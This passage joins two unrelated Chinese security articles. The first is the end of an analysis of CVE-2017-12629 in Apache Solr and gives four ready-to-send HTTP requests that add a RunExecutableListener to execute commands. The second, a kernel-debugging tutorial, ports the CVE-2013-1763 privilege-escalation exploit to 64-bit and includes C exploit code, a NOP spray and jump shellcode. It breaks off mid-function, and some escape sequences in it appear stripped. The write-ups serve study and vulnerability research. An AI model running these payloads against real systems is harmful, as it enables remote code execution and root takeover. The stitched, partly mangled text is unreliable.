那么 localParams 结构中就会有 ：
type = xml
v = 123123
还有如下解析方式：
q={!xml v=$'1234'} 或 q={!xml v=$"1234"}
解析后：
type = xml
v = 123123
还有：
q={!xml v=$abc}
解析后：
type=xml
v=从query中获取 abc 对应的值
继续向下看
qplug 肯定就是 type 所指定的类，这里我们查看一下 QParserPlugin 的子类
xxe嘛，肯定就是 xml 的解析出问题了
看一下 XmlQParserPlugin
得到 XmlQParserPlugin 的 NAME 是 xmlparser
继而 qplug 所取得的值：
所以 qplug 就是 XmlQParserPlugin 了..
接下来，对应调用的就是 XmlQParserPlugin 里的 createParser
然后设置了一下 XmlQparser 里的 stingIncludingLocalParams
、valFollowedParams、localParamsEnd 分别为 q 的值、false、q 结束的标志位
最后返回一个 parser
回到 QueryComponent 中，getParser 后赋值给了 rqparser，随后调用了 rqparser 的 getQeury 函数
这个函数在 XmlQparser 里没有重写，所以去 Qparser 里查看
这里 query 肯定是 null 的，因为在构造函数里并没有对其赋值，仅仅是在Qparser 里的 getQeury 函数里进行了赋值操作
那么首先调用的是 parse 函数，这个函数被重写了，去 XmlQparser 里查看
qstr 是那个 q 中 v 对应的值，defaultFied 可以获取 localParams 结构中的 df 的值，也可以从 query 中获取 df
的值
将 SolrCoreParser 初始化后，直接调用了它的 parse 函数，它继承与 CoreParser ，并且没有重写函数，那么跟进
CoreParser 查看 parse
其中 xmlStream 是 q 中的 v 对应的值，继续跟进 parseXML
这里就开始解析xml了
在这之前，我们清楚的看到 v 的字符串并没有做任何过滤，并且在解析 字符串 前，也并没有做任何防 xxe 的操作，这就导致了 xxe
### 分析 RCE
rce 是需要Solrcloud的，我们可以搭建伪分布
（本地调试只需要把SolrCloud跑起来就行，为了简单起见，使用他自带的 solr/solr.cmd 去创建 collection： solr.cmd
create -c 0rich1 -p 此刻solr占用的端口）
预览下 solrcloud 结构，其实就是多个 solr 协同处理查询
看payload中，路径是 solr/newcollection/config ，那么 config 到底指定的是什么插件，这个需要去
ImplicitPlugins.json 里边查看
如图，指定的是 solr 中的 SolrConfigHandler 插件
这个时候机智的上网搜了一波 solr SolrConfigHandler ，查到的相关信息如下：
SolrConfigHandler 是默认存在的，如果需要关闭可编辑的功能，只需要在 solrconfig.xml 里加上配置即可，也可以在 JVM 加上
-Ddisable.configEdit=true
配置如下：
因为在xxe中从 filter 到 handler 已经过了一遍了，那么这里也是相同的，就不再赘述
直接去查看 SolrConfigHandler 的 handleRequestBody 函数
这里 command.handlePOST() 是更改配置信息的操作
command.handleGET() 是 获取配置信息操作
我们是为了更改配置，那么就进入 POST
SolrConfigHandler 在处理 POST 之前，先进行了验证
满足二者之一，就直接抛出异常，不执行了
我们先去看看 configEditing_disabled
声明出就在本类开头
CONFIGSET_EDITING_DISABLED_ARG 常量对应的字符串 disable.configEdit
随后直接 getBoolean ，看看 getBoolean
他是从 jvm 配置里获取的信息，这种信息有两种设置方式：
1. 从命令行中直接设置，使用 -D 参数，比如 -Ddisable.configEdit=ture
那么 System.getProperty( "disable.configEdit" ) 的结果就是 ture
（Ps： 官方给出的rce修补方案就是，在程序启动的时候加上 -Ddisable.configEdit=ture）
2. 从代码层设置，既然有 getProperty ，那么也有对应的 setProperty 函数
可以统一将系统属性设置一个 Properties 对象，也可以单独设置一个 键值对
这里我们思考一下，首先他是一个静态初始化的变量，那么初始化应该在此类第一次实例化之前，也就是 SolrConfigHandler 被注册之后，未实例化之前
那么这里就有三种设置方式了
1、solr 服务启动时候，启动脚本里的 -D 参数
2、solrconfig.xml 里的 handler 相关配置
3、在 handler 被实例化之前的所有 setProperty 调用的地方，都可能是设置 disable.configEdit 系统属性的地方
我是 win 环境，首先在 bin\solr.cmd 启动脚本里查找 -Ddisable.configEdit
关键字，并没有找到，也有可能脚本关联不止这一个，我们用命令行查看一下
查询指定进程命令行参数：
wmic process where caption="java.exe" get caption,commandline /value
仔细查看过后，也不是通过命令行参数进行设置的，所以 ban 掉第一种可能
在相关 core 下，查看 solrconfig.xml 里的相关配置，可是连 solr.SolrConfigHandler
关键字都没有，第二种可能也被否定
emmm，第三种没去找....全局搜一下 setProperty 然后根据类名进行功能猜测...筛选慢慢跟
另一个变量 isImmutableConfigSet 就好说了
初始化为 false ，查看一下那些地方对它进行了赋值操作
但是没有查到 SolrConfigHandler 这个类中的 inform 函数的调用，那么就是默认为false了
继续向下看，直接执行的 SolrConfigHandler 类中的内部类 Command 类中的 handlePOST 函数
先跟进 readCommands 函数看看
那还是回到 handlePOST 中看看， try 后的 if 条件，parts 应该是 > 1 的，但是这个 RequestParams.NAME 是
'params' ，这个字符串都没在路径里出现过，所以果断进入 else
overlay 是个第二次提取配置，它是从 configoverlay.json 中提取，第一次提取配置信息是从 solrconfig.xml
里获取的，第二次读出的配置是会覆盖第一次读出的配置信息的
进入 handleCommands 函数
函数体有点长，没有全部显示，如图，这又是将 ops 中的数据根据其 name 进行处理
case 的常量分别是：
根据payload 中的数据：
明显是进入了 default 处理，那就仔细看看 default 流程
add-listener 被 - 当做分隔符，分别赋值给 pcs[0]、pcs[1] （并不是说 pcs 是个数组，只是这样表示方便点）
那么经过第一个 if 就进入了 else 中，
prefix = pcs[0] = add，
name = pcs[1] = listener
第二个if也是满足的，第一个条件是 cmdPrefixes 中是否包含当前的 prefix，这个是ok的
第二个判断是， namedPlugins 中是否包含 key 值为 name 的
这个 namedPlugins 在 SolrConfigHandler 类里的 static 块中被初始化
我们跟着去看看 SolrConfig.plugins
在 static 块中，最后一句就是 namedPlugins 的赋值语句，将 map 转换成不可修改的映射
因为在 SolrConfig.plugins 中，发现了 options 为 REQUIRE_NAME_IN_OVERLAY 的标志，那么它也是在
namedPlugins 中的，所以我们第二个条件满足
回到 handleCommands 函数中，接着将其 PluginInfo 跟据 name 提取出来赋值给 info
第三个 if 肯定是进入 else 的
那么，解释下参数：info 是 listener plugin 的info，op 是 json 处理后的数据，overlay
是之前获取的配置信息，第四个参数很明显为 true
跟进 updateNamedPlugin 函数
那么从 payload 中获得 class 的信息：solr.RunExecutableListener
将其 class name 赋值给 clz
接下来的三个 getMap 操作，我们一个个看下这些常量的值
这个操作，仅仅是为了检测 json 中是否有这些信息，如果没有的话就记录 error 并返回空，然后在第一个 if 判断中就直接return
overlay了，这个并不影响
因为之前的 overlay中，本来就是包含 listener 这个 plugin 的
回到handleCommands中
这个 rce 是需要 solrcloud 的，而这里面是使用 Zookeeper 作为 solrcloud 集群的配置信息中心，同一管理 solrcloud
的配置，比如 solrconfig.xml 之类的
那么这个if条件应该是满足的，后续的操作中，大致是将 overlay 作为配置信息，写入了 configoverlay.json 配置文件中，并且设置到
zookeeperclient 中，然后将其配置丢给下一个 solr（意思是当 update 或者其他操作会触发 core.reload
的时候，配置信息会被修改），这样，我们就相当于控制了 solrconfig.xml ，但实际上 solrconfig.xml 是不可更改的，只是程序启动后
configoverlay.json 中的配置信息可以覆盖（从 /config 处 post
的配置信息，是会一直存在于集群的配置信息中的，也就是说，如果这个分布式集群一直工作着，那么payload会一直存在）
那么 solrconfig.xml 可以做些什么？
它主要定义了 solr 的一些处理规则，包括索引数据的存放位置，更新，删除，查询的一些规则配置，还有一些索引存储方案，handler
的配置，请求转发器的配置，关于事件监听器的配置...等等
现在，我们先去看看在 core.reload 操作后，会被调用的 CommitTracker 里的 run，其他部分不贴了，贴rce触发相关的东西
这个 command 和后面的判断有极大的关系，但是他的成员变量都是可以在 url 中设置的
这个 core.getUpdateHandler().commit() 的结果是 DirectUpdateHandler2 里的 commit，因为只有
DirectUpdateHandler2 里重写了这个 commit 函数
跟进去看看，代码太长，只贴关键点
第一处callback
第二处callback
这两处的callback没啥特殊要求，只需要满足if判断即可，条件都是 cmd 里的成员变量值，cmd既是之前的 command，只要不在 url
中给参数值，那么都是默认为 false的
先跟入第一处的 callback，在UpdateHandler 中：
第二处的callback，同样也在 UpdateHandler 中：
两处的 callback 都是先遍历 listener 集合，然后直接调用其 postCommit 函数
这里先记一笔，optimizeCallbacks 和 commitCallbacks 是怎么来的？
因为之前加载的是 solr.RunexecutableListener ，所以对应调用的是它的 postCommit ，跟进去
调用了 exec，继续跟
这里就调用了 Runtime.getRuntime().exec 执行了命令
其中 cmd 、envp、dir 分别对应之前payload中的 exe、env（设置环境变量，payload中并没有设置），dir
ok，这里已经触发了 rce，回到刚才的问题
optimizeCallbacks 和 commitCallbacks 是怎么来的？
这里为了和前文的 core.reload 重载 core 操作相结合，所以就反向跟踪了，那么我们去看看 SolrCore 中的构造函数，因为每次重载
core 操作，肯定会去调用 SolrCore 的构造函数
在 SolrCore 中，找到三处很值得关注的调用：
第一处
看名字像是 Listener 的初始化
第二处
还记得之前在 CommitTracker 中 run 里调用的 core.getUpdateHandler().commit(command) 么，这个
core.getUpdateHandler() 就是获取的这个 initUpdateHandler(updateHandler) 的结果
第三处
Searcher 的初始化
#### 先跟进 initListeners 函数
这一长串的调用：solrConfig.getPluginInfos(SolrEventListener.class.getName())
是提取了集群里除了一些自带的listener，还有之前我们payload中自己添加的 listener ，然后做了一个遍历
将其 event 属性为'newSearcher' 和 'firstSearcher' 的话，那么就去创建实例并且分别加入
newSearcherListeners 和 firstSearcherListeners 中
#### 再跟进 initUpdateHandler ：
在 core.reload 发生的时候，形参 updateHandler 就是 DirectUpdateHandler2 的实例
同时，无论是 updateHandler 是否为空，都会去创建一个新的 UpdateHandler，那么肯定会调用其构造函数，我们去看看
UpdateHandler 的构造函数
只截取了一部分，这个 parseEventListeners 仅仅是看名字就足以引起我们注意了，跟进去
又是提取的集群里的 Listeners 配置信息，然后比对他们的 event 属性，如果是 'postCommit' 和 'postOprimize' 的
listener 就分别加入到 commitCallbacks 、optimizeCallbacks中
这里也和之前的 callback 函数调用出相结合了，知道了optimizeCallbacks 和 commitCallbacks 是怎么来的
#### 最后去跟一下 initSearcher ：
里面调用了 getSearcher ，跟进去
函数体略长，只贴关键处
这两处，都是重写了 Callable 的 get 函数，在 core.reload 操作后，会在线程里跑的
具体处理就是将 firstSearcherListeners 和 newSearcherListeners 遍历出来后直接调用的 newSearcher
函数，这两个集合是在 initListeners 中进行初始化的
那么我们可以通过添加firstSearcherListeners 和 newSearcherListeners 的
RunExecutableListener 就可以调用它的 newSearcher 函数了，我们看看 RunExecutableListener 里的
newSearcher
他也是调用了 exec 函数，从而导致了 rce
so，我们得到了两个 payload：1，event 为 newSearcher 2，event 为 firstSearcher
好的，SolrCore 里的三个关注点已经分析完了
那么可以调用到 RunexecutableListener 里的 postCommit 和 newSearcher 函数的有如下方式（这两个函数都可以导致
rce）：
1，调用postCommit：event 为 postCommit 或者 event 为 postOprimize
2，调用newSearcher：event 为 newSearcher 或者 event 为 firstSearcher
其中 newSearcher 的调用，是在 /config 操作发生后，立即就能 core.reload ，所以可以立即触发 rce
postCommit 只能是在 /config 后，存储新的配置信息，然后再 /update 操作，就可以触发 core.reload 操作，从而触发
rce
这两个都是在重载 core 后发生的操作
对于先 /config 再 /update 然后触发 rce 的payload：
并不是说由 /update 操作直接触发的rce，而是 zookeeper自己调用的 CommitTracker 里的 run，run又去调用了
DirectUpdateHandler2 里的 commit ，commit 中又去调用了 callPostCommitCallbacks
，callPostCommitCallbacks 里对 commitCallbacks 做遍历调用 postCommit，此时的
commitCallbacks 就是我们之前去 /config 添加的东西
因为配置信息一直存在，所以只要触发了 core.reload 就可以触发rce，比如我只是/config 操作了一次，但是只要去 /update
操作，那么就可以触发这个 payload
那么现在我们分别构造这4个payload
（注意事项：程序是依靠 listener 的name来识别listner的，所以每次 config 一个 listner
的时候，name必须不同，其次是update 的时候，如果需要触发 postCommit 函数导致的rce，那么必须每次都是 update 不同的值，比如
"id":"test"，那么第二次去触发的时候，就应该这样 "id":"test1"）
1.
调用的 postCommit
event 为 postCommit：
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 200
{
"add-listener" : {
"event":"postCommit",
"name":" newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
然后去 update 一下
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
event 为 postOprimize
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 202
{
"add-listener" : {
"event":"postOprimize",
"name":"newlistener-2",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
然后去 update 一下
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 16
[{"id":"test1"}]
2.
调用的 newSearcher
event 为 newSearcher：
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 201
{
"add-listener" : {
"event":"newSearcher",
"name":"newSearcher-3",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
发包后即可触发 rce
event 为 firstSearcher
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 201
{
"add-listener" : {
"event":"firstSearcher",
"name":"newSearcher-4",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
本地验证一下：
（因为是win的环境，就弹下计算机....args作为分辨他们的标志）
#### firstSearcher，立即触发
#### newSearcher，立即触发
#### postCommit ，update 操作后触发
_（先config后的返回页面如下）_
再去update
#### postOptimize，update操作后触发
**注意update的时候，要加参数**
意为设置 cmd.optimize 为 true
资料来源：
cve-2017-12629-apache solr xxe & rce 漏洞分析：<https://paper.seebug.org/425/>
Solr/SolrCloud
SolrConfigHandler详解：<http://blog.csdn.net/zteny/article/details/51868764>
Solr/SolrCloud SearchHandler
详解：<http://blog.csdn.net/zteny/article/details/51645611>
Solr的安装与配置：<http://www.cnblogs.com/shanheyongmu/p/6268468.html>
分布式搜索之搭建SolrCloud：[http://www.cnblogs.com/1315925303zxz/p/6372004.html?utm_source=itdadao&utm_medium=referral](http://www.cnblogs.com/1315925303zxz/p/6372004.html?utm_source=itdadao&utm_medium=referral)
solr两种预热方式（newSearcher、firstSearcher）：<http://blog.csdn.net/asdfsadfasdfsa/article/details/72081882>
solrd的coolection,shard,replica,core
概念：<http://blog.csdn.net/zhousenshan/article/details/51799567> | 社区文章 |
# 新手向———内核调试（上）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
_在当前CTF比赛中，kernel
pwn类型的题目还是比较少，18年国内大型比赛中，仅强网杯出过几题。然，网上虽资料不少，但涉及内核过程，函数调用链复杂，但看出题思路和复现exp，总觉差那么点意思。而网上这类题又比较少，对初学者很不友好。我决定从调试真实环境内核漏洞来学习内核花样百出的攻击手段，若有不实不详之处，希望各位师傅指点。_
本文主要分为四个部分，首先说明如何在单机环境下搭建内核调试窗口，其次会讲解cve-2013-1763从32位移植到64位，再讲解让exp可以绕过缓解机制，最后由对内核调试上篇做一个总结。可能讲解有些零散，但思路肯定是连贯的。
> * 内核调试环境配置
> * 移植cve-2013-1763
> * 绕过内核缓解机制
> * 总结
>
## 内核调试环境配置
在单机中调试其他内核，你需要三个组成部件，其一是虚拟化的环境搭建，其二是对应内核版本的二进制库文件，其三是操作系统的启动初始化文件。拥有了这三个部分，你就可以进行比较舒适的调试了。
### 其一
虚拟化的环境搭建，选择的是qemu这款堪称虚拟化的鼻祖软件，虽然因为连芯片也一起虚拟导致运行速度变慢，但它也结合了真实芯片辅助加速的KVM，支持其他芯片架构的功能，简直就是交叉编译的神器。
~~（我不会说因为看到ctf里的启动脚本都用qemu才来学习）~~ 。
> QEMU（quick emulator）是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化的（hardware
> virtualization）开源托管虚拟机（VMM）。
> 其与Bochs，PearPC类似，但拥有高速（配合KVM），跨平台的特性。
>
> QEMU是一个托管的虚拟机镜像，它通过动态的二进制转换，模拟CPU，并且提供一组设备模型，使它能够运行多种未修改的客户机OS，可以通过与KVM（kernel-> based virtual machine开源加速器）一起使用进而接近本地速度运行虚拟机（接近真实计算机的速度）。
> QEMU还可以为user-level的进程执行CPU仿真，进而允许了为一种架构编译的程序在另外一中架构上面运行（借由VMM的形式）。
值得注意的是，qemu对主流的架构和芯片都有不错的模拟性能，不常见的，额，还是焊个板子自己干吧。
### 其二
**Firstly**
，查看清楚自己想要调试的内核漏洞对应的版本范围，在其中任选一款稳定版本下载就行。[下载地址](https://mirrors.edge.kernel.org/pub/linux/kernel/)在此。要注意的是，其中tar的压缩方式有好多种，下载完如何解压缩，就充当是学习linux常用命令。
1. *.tar.xz 用 tar -xvf 解压
2. _.tar.gz和_.tgz 用 tar -xzf 解压
3. *.tar.bz2用tar -xjf 解压
**Secondly**
,查找明白解压完毕，将要编译的内核和本身的gcc编译器符不符合。符合，就可以继续下一步；不符合，就要安装旧的gcc编译器。要注意的是，有些版本的gcc发布了，但没有默认安装在linux发行版的默认安装仓库里，所以需要自己去gcc官网下载安装。
1. 先看看我们系统用的gcc是什么版本
> gcc —version
2. 发现编译时gcc版本报错，安装低版本的gcc
> sudo apt-get install gcc-4.4 gcc-4.4-multilib
3. 不安装g++的原因是因为，linux内核是纯C编写的，版本切换安装
> sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-4.4 40
> sudo update-alternatives —install /usr/bin/gcc gcc /usr/bin/gcc-5 50
4. 现在可以进行版本切换了，选择版本输出入第一列的编号
> sudo update-alternatives —config gcc
**Thirdly** ,安装好一些额外的依赖库后，就可以进入 _menuconfig_
中去设置参数。它是个图形界面，有非常好的操作性，比起一个个选项参数在编译时去Yes or No，真是好了很多。
> apt-get install libncurses5-dev build-essential kernel-package
> make menuconfig
配置一下编译参数，注意就是修改下面列出的一些选项
由于我们需要使用gdb调试内核，注意下面这几项一定要配置好
1. 在KernelHacking —>
* 选中 Compile the kernel with debug info
* 选中 Compile the kernel with frame pointers
* 选中 KGDB:kernel debugging with remote
1. 在Processor type and features—>
* 取消 Paravirtualized guest support
1. KernelHacking—>
* 取消 Write protect kernel read-only data structures
当然，因为版本的不同，有些选项不见或者有细微的变化，多查阅资料也能熟练掌握，其次为了观察slab的分配，也有专门的 _slab info_ 参数来选择。
**Fourthly** ，接下来，就是长达二、三个小时的编译，你可以去追追最新的番剧了。
> make all
> 或者
> make install
> make modules
编译过程中，[M]开头的其实是驱动模块，其实可以分开编译，不过好像速度也没提高多少，还是看最新番剧吧。其中有错误，多半是源码写错或和现在不符，要修补下.c文件。再看不懂报错的，去stackflow上碰碰运气吧。
### 其三
启动内核还需要一个简单的文件系统和一些启动命令，可以使用 _busybox_ 构建。 _busybox_ 是一个大牛写的精巧文件系统，适合快速编译启动模块。
>
> BusyBox是一个遵循GPL协议、以自由软件形式发行的应用程序。Busybox在单一的可执行文件中提供了精简的Unix工具集，可运行于多款POSIX环境的操作系统，例如Linux（包括Android）、Hurd、FreeBSD等等。由于BusyBox可执行文件的文件大小比较小、并通常使用Linux内核，这使得它非常适合使用于嵌入式系统。作者将BusyBox称为“嵌入式Linux的瑞士军刀”。
**Firstly**
，[下载地址](https://busybox.net/downloads/?C=M;O=D)在此。下载完成后，需要解压和编译。同时在编译前，也要配置编译的一些参数
> make menuconfig
1. Busybox Settings -> Build Options ->
* 选中 Build Busybox as a static binary
1. Uinux System Utilities ->
* 取消 Support mounting NFS file system 网络文件系统
1. Networking Utilities ->
* 取消 inetd (Internet超级服务器)
> make install
**Secondly** ，需要构建文件系统。编译完成后，在 _busybox_ 源代码的根目录下会有一个 __install_
目录下会存放好编译后的文件。而你需要在其中添加一些东西。
> cd _install
> mkdir proc sys dev etc etc/init.d
> vim etc/init.d/rcS
在启动脚本 _rcS_ 中的代码为：
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
主要挂载了两个文件夹，不过最后一句创建设备节点的速度真心慢，不知道为什么有些比赛题目就启动得非常快。最后别忘了，给它加上执行权限
> chmod +x etc/init.d/rcS
最后的 __install_ 目录下的文件成品：
**Thirdly** ，对于目录下的文件打包成一个镜像文件，每次打包时，都别把上次的镜像文件包进去
> find . | cpio -o —format=newc > rootfs.img
为了方便，可以在开启脚本里，编入打包命令，让它每次开启时都可以自动打包。同时，为了提权，总是要创建个低权限用户的shell脚本，也编写入
__install_ 目录中。
### 其四
编写qemu运行内核的脚本
qemu-system-x86_64 #选择qemu的模式和你编译内核时的环境变量有关
-kernel ./home/.../arch/x86_64/boot/bzImage #内核的二进制库
-initrd ./home/.../rootfs.img #启动的镜像
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" #添加的参数，指明控制台，特权，初始路径
-cpu kvm64,+smep #前者是加速器，后者是内核保护模式
--nographic -gdb tcp::1234 #设置为无图形界面，同时和gdb连1234端口，也可以写成 -s
使用gdb进行远程调试
>
> 重点终于来了，gdb首先要导入对应内核的二进制库，里面有各种符号表和函数地址的对应关系。其次，还需要在关键的地方断点方便进行调试。那么问题来了，如果像比赛题目那样，有外来驱动模块导入，那么gdb可以断外来驱动上任意函数地址。但如果只是在内核内部运行，没有其他辅助点可以断，那怎么调试exp呢。后来想明白了，exp里肯定会调用这些内核函数，所以环境设置简单点，去除内核随机化，找到有缺陷的函数地址，然后在gdb中给这些地址下断点。
如果要加载驱动的符号文件，先需要在已经运行的内核里去获取驱动模块的基址，它一般在 _/proc/modules_ 里。
> gdb -q ./vmlinux
> target remote:1234
> add-symbol-file xxx.ko 0xffffxxx
如果是要找内核内部的函数，可以在 _/proc/kallsyms_ 文件里寻找到，管道操作 _grep_ 大家应该都会的吧。
## 移植cve-2013-1763
我查阅了一些最近几年的真实linux内核漏洞，它们角度刁钻，原理复杂，竞态多线程跑poc，没个把小时出不了结果。[hackerone](https://www.hackerone.com/)上有人问作者，这poc不对啊，我跑了一小时都没跑出来。作者回复他说，我拿128g的机器跑了10分钟就可以出来了呀。我想想我的小破烂电脑，还不如去追最新的番剧呢。还是找个稍显简单的漏洞来复现，让初学者也能尝到。
### 漏洞概述
先看看cve官网对这个漏洞的介绍，在内核3.7.10版本及之前的内核都受到这个漏洞的影响。
那为什么一些详解里是3.3~3.8呢，额，因为3.7.10是3.7的最后一个版本，而3.3之前就没引进 _sock_diag_rcv_msg_
这个函数，所以也就没有利用的框架。
>
> 网上关于它的漏洞讲解也有几个版本，而其中的exp都是一个牛人写的32位的提权验证。我因为初来乍到，直接编译了一个64位的内核，一想到再去编译个32位的版本，就不提要修改后缀名为
> _.bin_ 这样的麻烦事，至少又是二、三个小时的等待，而我新番都看完了。所以我立刻打算明白原理后，移植它到64位内核上提权，顺便就像做一道kernel
> pwn的练习题了。
### 漏洞分析
可以从下图看出多加了 _sdiag_family_ 的检验语句，并且也就修改了这一处，很明显，这是一个关于数组越界的溢出漏洞。
网上的原理讲解的其实满清晰的，主要可能是自己菜，反复读后才发现关键点文中已经指出了。现在，根据我的总结，快速来上手。看三处代码:
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))//只判断小，没判断大
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family);//仅仅加锁
if (hndl == NULL)//那它肯定不是NULL喽
err = -ENOENT;
else
err = hndl->dump(skb, nlh);//exp的突破口
sock_diag_unlock_handler(hndl);
return err;
}
___sock_diag_rcv_msg_
函数位于进程通讯函数链的一员，可以利用netlink协议来创建socket并发送数据触发数组越界的这个断点。从代码中可以看出，dump函数是一个利用的点，具体在后面动态调试中看出。
struct sock_diag_handler {
__u8 family;//在64位里，就是8个字节
int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);//虽没有源码详解，根据调试，是直接运行第一位地址上的值
};
结构体 _sock_diag_handler_ 也需要查看来明白它定义了什么。
struct nl_pid_hash {
struct hlist_head *table;
unsigned long rehash_time;//这个值随机在一定范围内，可控
unsigned int mask;
unsigned int shift;
unsigned int entries;
unsigned int max_shift;
u32 rnd;
};
struct netlink_table {
struct nl_pid_hash hash;//上方是结构体的详细介绍
struct hlist_head mc_list;
struct listeners __rcu *listeners;
unsigned int nl_nonroot;
unsigned int groups;
struct mutex *cb_mutex;
struct module *module;
int registered;
};
这个结构体，你要问我怎么找出来的，我也回答不上来。只能说是一位六年前就对内核很精通的大牛，他发现在内核进程中， _nl_table(struct
netlink_table)_ 和 _sock_diag_handlers(struct sock_diag_handler)_
的距离很近，而且还是在下方，可以被溢出到。同时，它的 _hash(struct nl_pid_hash)—
>rehash_time_虽然是个随机值，但是却永远落在一定范围内，可以通过堆风水的方式来利用它。
> 那么，思路就很明确了，只剩下如何构造数据包和利用链。
### 修改exp
**Firstly** ，说到netlink消息数据包，我们只需要这个包能经过 ___sock_diag_rcv_msg_
就行，那么只需要它的请求格式符合结构体：
struct
{
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
查阅资料时，发现请求头必须是 _nlmsghdr_ 结构体，但数据区也可以是 _inet_diag_req_ 或者 _inet_diag_req_v2_
结构体。
struct unix_diag_req {
__u8 sdiag_family;
__u8 sdiag_protocol;
__u16 pad;
__u32 udiag_states;
__u32 udiag_ino;
__u32 udiag_show;
__u32 udiag_cookie[2];
};
struct inet_diag_req {
__u8 idiag_family; /* Family of addresses. */
__u8 idiag_src_len;
__u8 idiag_dst_len;
__u8 idiag_ext; /* Query extended information */
struct inet_diag_sockid id;
__u32 idiag_states; /* States to dump */
__u32 idiag_dbs; /* Tables to dump (NI) */
};
struct inet_diag_sockid {
__be16 idiag_sport;
__be16 idiag_dport;
__be32 idiag_src[4];
__be32 idiag_dst[4];
__u32 idiag_if;
__u32 idiag_cookie[2];
};
> 最主要的还是 _unix_diag_req_ 结构最简单，利用起来最方便。
**Secondly** ，需要计算出family的取值到底要多少，不能大也不能小。
> 在32位里，family = (nl_table – sock_diag_handlers)/4
> 显然，在64位里，family = (nl_table – sock_diag_handlers)/8
现在的问题是如何获取这两个结构体的具体地址，如果内核设置 _kernel.kptr_restrict=0_ ，那么我们可以直接从
_/proc/kallsyms_ 里获取，如果禁止，那连 _/boot/linux-image-xxx-generic_ 里也无法获取。
**Thirdly** ,因为32位的exp可以搜到，链接放在文后，所以我就选取一些修改点来分析。
[...]
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eaxn"
"call *%eaxn"
);
}
[...]
//填充数据包，就是为了最终能够执行到__sock_diag_rcv_msg中去
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
[...]
unsigned long mmap_start, mmap_size;
mmap_start = 0x10000; //选择了一块1MB多的内存区域
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap faultn");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将其全部填充为0x90，在X86系统中对应的是NOP指令
char jump[] = "x55x89xe5xb8x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
unsigned long *asd = &jump[4];
*asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
[...]
大牛的利用思路是，获取 _rehash_time_ 大致取值范围，然后在那块区域布满 _nop_
指令用于堆喷，再写一个提权子函数后，利用很巧妙的手法，塞进区域的最后，由 _call xxx_
来成功突破。换言之，32位转变成64位，最重要的就是获取64位下 _rehash_time_
的范围，就是64位的指令格式和长度不同，还有就是数据类型大小也有所不同。
**Fourthly** ,写出64位下的 _jump_payload_ 汇编语句后，靠 _objdump_
来编译出机器码，值得注意的是，64位里，你设置的跳转地址不同，机器码也会有所不同。
接下来需要调试出64位里 _rehash_time_ 的位置，这会在下节讲。等到这两点都获取了，那么64位的exp也差不多写成了。
#include<stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //获取root权限
kernel_code()
{
commit_creds(prepare_kernel_cred(0));
//return -1;
}
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %raxn"
"call *%raxn"
);
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %sn", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%sn", sym);
continue;
}
